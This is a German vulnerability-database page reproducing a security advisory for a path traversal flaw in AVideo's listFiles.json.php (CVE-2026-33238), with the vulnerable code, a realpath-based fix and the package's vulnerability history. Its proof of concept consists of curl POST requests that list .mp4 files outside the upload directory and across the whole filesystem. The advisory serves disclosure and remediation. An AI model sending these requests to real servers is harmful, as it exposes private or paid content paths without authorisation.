Mittel

AVideo has a Path Traversal in listFiles.json.php Enables Server Filesystem Enumeration

  • Veröffentlicht: 19.03.2026
  • Aktualisiert: 11.10.2026 10:22

Summary

The listFiles.json.php endpoint accepts a path POST parameter and passes it directly to glob() without restricting the path to an allowed base directory. An authenticated uploader can traverse the entire server filesystem by supplying arbitrary absolute paths, enumerating .mp4 filenames and their full absolute filesystem paths wherever they exist on the server — including locations outside the web root, such as private or premium media directories.

Details

The vulnerable code is at objects/listFiles.json.php:8-45:

php
if (!User::canUpload() || !empty($advancedCustom->doNotShowImportMP4Button)) {
    return false;
}
$global['allowed'] = ['mp4'];
// ...
if (!empty($_POST['path'])) {
    $path = $_POST['path'];
    if (substr($path, -1) !== '/') {
        $path .= "/";
    }
    if (file_exists($path)) {
        $extn = implode(",*.", $global['allowed']);
        $filesStr = "{*." . $extn . ",*." . strtolower($extn) . ",*." . strtoupper($extn) . "}";
        $video_array = glob($path . $filesStr, GLOB_BRACE);
        foreach ($video_array as $key => $value) {
            $filePath = mb_convert_encoding($value, 'UTF-8');
            // ...
            $obj->path = $filePath;  // Full absolute path returned to caller

The $_POST['path'] value is used directly in glob() with no call to realpath() for normalization and no prefix check against a permitted base directory (e.g., $global['systemRootPath'] . 'videos/'). The response includes obj->path containing the full absolute filesystem path of each matched file.

The extension filter ({*.mp4,*.mp4,*.MP4}) limits results to .mp4 files, which prevents reading credentials or source code but does not prevent enumeration of video files stored in access-controlled locations such as:

  • Premium/paid content directories
  • Private or unlisted media stores
  • Backup directories containing .mp4 files
  • Paths revealing sensitive server directory structure

canUpload is a standard low-privilege role granted to any registered uploader; it does not imply administrative trust.

PoC

bash
# Step 1: Authenticate as any user with canUpload permission
# (standard uploader account)

# Step 2: Enumerate MP4 files in the web root (expected behavior)
curl -b "PHPSESSID=<session>" -X POST https://target.avideo.site/listFiles \
  -d "path=/var/www/html/videos/"
# Returns: [{"id":0,"path":"/var/www/html/videos/video1.mp4","name":"video1.mp4"}, ...]

# Step 3: Traverse outside intended directory to private content store
curl -b "PHPSESSID=<session>" -X POST https://target.avideo.site/listFiles \
  -d "path=/var/private/premium-content/"
# Returns: [{"id":0,"path":"/var/private/premium-content/paywalled-video.mp4","name":"paywalled-video.mp4"}, ...]

# Step 4: Enumerate root filesystem for any MP4 files
curl -b "PHPSESSID=<session>" -X POST https://target.avideo.site/listFiles \
  -d "path=/"
# Returns all .mp4 files visible to the web server process anywhere on disk

Expected behavior: Only files within the designated upload directory should be listable. Actual behavior: Files from any path readable by the web server process are returned with full absolute paths.

Impact

  • Unauthorized media enumeration: An uploader can discover private, premium, or access-controlled .mp4 files stored outside their permitted directory.
  • Filesystem structure disclosure: Full absolute paths reveal server directory layout, aiding further attacks.
  • Content bypass: In AVideo deployments where premium video files are stored in filesystem directories not protected by application access control, this exposes the filenames and paths needed to directly access them if other path traversal or direct-file-access weaknesses are present.
  • Blast radius: Requires canUpload permission (low privilege), but this is the standard permission for all video uploaders on a multi-user AVideo instance.

Recommended Fix

Restrict the supplied path to an allowed base directory using realpath():

php
if (!empty($_POST['path'])) {
    $allowedBase = realpath($global['systemRootPath'] . 'videos') . '/';
    $path = realpath($_POST['path']);

    // Reject paths that don't start with the allowed base
    if ($path === false || strpos($path . '/', $allowedBase) !== 0) {
        http_response_code(403);
        echo json_encode(['error' => 'Path not allowed']);
        exit;
    }
    $path .= '/';
    // ... continue with glob
}

realpath() resolves ../ sequences before the prefix check, preventing traversal bypasses.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Composer-Paket wwbn/avideo < 26.0 26.0

Verweise

CVSS-Wert 4.3/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Schwäche (CWE)
CWE-22
Plattform
Composer
Paket
wwbn/avideo
Veröffentlicht
19.03.2026
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-4wmm-6qxj-fpj4 - CC BY 4.0

Schwachstellenhistorie: wwbn/avideo

Alle veröffentlichten Schwachstellen dieses Pakets (Composer-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (160) im Archiv
Einträge insgesamt
160
Erste → letzte
04.2022 06.2026
Ohne Fix
143
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 14
  • Hoch 61
  • Mittel 83
  • Niedrig 2

Veröffentlichungen pro Jahr

  1. 2022: 2
  2. 2023: 5
  3. 2024: 5
  4. 2025: 0
  5. 2026: 148
Schweregrad:
  1. Hoch · 8.8 CVE-2026-45578 <= 29.0 keine Korrektur
  2. Hoch · 9.8 CVE-2026-41304 <= 29.0 keine Korrektur
  3. Hoch · 9.3 CVE-2026-41064 <= 29.0 keine Korrektur
  4. Kritisch CVE-2026-33867 <= 26.0 keine Korrektur
  5. Hoch · 8.8 CVE-2026-33717 <= 26.0 keine Korrektur
  6. Hoch · 7.5 CVE-2026-33512 <= 26.0 keine Korrektur
  7. Kritisch · 9.3 CVE-2026-33502 <= 26.0 keine Korrektur
  8. AVideo has a Path Traversal in listFiles.json.php Enables Server Filesystem Enumeration dieser Eintrag
    Mittel · 4.3 CVE-2026-33238 < 26.0 26.0
  9. Kritisch CVE-2026-28502 alle Versionen keine Korrektur
  10. Kritisch · 9.8 CVE-2024-31819 >= 12.4, < 14.3 14.3
  11. Kritisch · 9.8 CVE-2023-49599 <= 12.4 keine Korrektur
  12. Hoch · 8.8 CVE-2023-32073 <= 12.4 keine Korrektur
  13. Hoch · 8.8 CVE-2023-30854 < 12.4 12.4
  14. Hoch ghsa-2fch-hv74-fgw9 < 12.4 12.4
  15. Kritisch · 9.6 CVE-2023-25313 < 12.4 12.4
  16. Hoch · 8.8 CVE-2020-23489 < 8.9 8.9

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.